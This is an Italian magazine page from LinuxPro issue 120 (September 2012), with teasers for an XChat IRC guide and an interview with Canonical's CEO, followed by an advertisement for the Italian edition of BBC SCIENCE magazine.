XChatI canali IRC sono tuttora frequentati da centinaia di persone. Se cercate aiuto, una fonte d’informazione o semplicemente qualcuno con cui chiacchierare, lanciate subito XChat seguendo i nostri consigli

IntervistaUbuntu continua a essere la distribuzione più chiacchierata del mondo Open Source. Abbiamo incontrato il CEO di Canonical per scoprire cosa c’è nel futuro della distro

E inoltre:

LINUXPROPRO

Page 95: LinuxPro-N120_Settembre2012

CORRI IN EDICOLA

SCIENCEBBC SCIENCE, la versione italiana della prestigiosa e autorevole rivista inglese BBC FOCUS, finalmente in tutte le edicole italiane. BBC SCIENCE offre ogni mese uno sguardo ampio e completo su scienza, tecnologia e futuro. Lo stile chiaro e diretto rende la lettura immediata e appassionante. Con BBC SCIENCE la conoscenza è alla portata di tutti. Con BBC SCIENCE la conoscenza è alla portata di tutti.Con BBC SCIENCE la conoscenza è alla portata di tutti.

ANCHE SU IPAD

ADV_BBC_Science_207x285.indd 1 01/08/12 10.16